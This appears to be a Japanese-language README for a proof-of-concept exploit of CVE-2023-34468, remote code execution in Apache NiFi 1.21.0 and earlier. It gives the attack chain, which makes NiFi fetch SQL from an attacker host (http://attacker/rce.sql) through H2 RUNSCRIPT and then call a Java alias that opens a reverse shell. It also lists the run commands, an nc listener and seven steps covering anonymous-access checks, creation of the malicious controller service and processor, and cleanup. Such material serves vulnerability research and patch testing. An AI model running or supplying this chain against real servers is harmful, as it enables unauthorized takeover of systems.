
CVE-2023-34468 の PoC エクスプロイト — Apache NiFi <= 1.21.0 における H2 RUNSCRIPT を介した RCE
Apache NiFi <= 1.21.0 における H2 データベースの RUNSCRIPT を介したリモートコード実行
Apache NiFi には、デフォルトで H2 データベースの JAR が同梱されています。DBCPConnectionPool
コントローラサービスは、この H2 ドライバを使用するように設定できます。H2 は、リモート URL から
SQL ファイルを取得して実行する RUNSCRIPT ステートメントをサポートしています。この SQL ファイルは、
CREATE ALIAS を介して任意の Java コードを定義し、サーバーの OS 上で実行することができます。
攻撃チェーン:
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
| Software | Version |
|---|
| Apache NiFi | <= 1.21.0 |
| Fixed in | 1.21.1+ |
| Java | Any (bundled) |
requests ライブラリ → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
| Argument | Default | Description |
|---|---|---|
--target | http://NiFi.target.com | ターゲット NiFi のベース URL |
--lhost | 10.10.10.10 | あなたの IP (tun0) |
--lport | 4444 | リバースシェルリスナーポート |
--http-port | 80 | rce.sql を配信するポート |
--cleanup | False | 実行後に作成されたアーティファクトを削除 |
ターミナル 1 — リスナー:
nc -lvnp 4444
ターミナル 2 — エクスプロイト:
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 Check anonymous access and write permissions
Step 2 Get root Process Group ID
Step 3 Create malicious DBCPConnectionPool controller service
Step 4 Enable the controller service (handles revision versioning)
Step 5 Create ExecuteSQL processor pointing to rce.sql on our HTTP server
Step 6 Start the processor → NiFi fetches rce.sql → shell callback
Step 7 Cleanup (if --cleanup flag is set)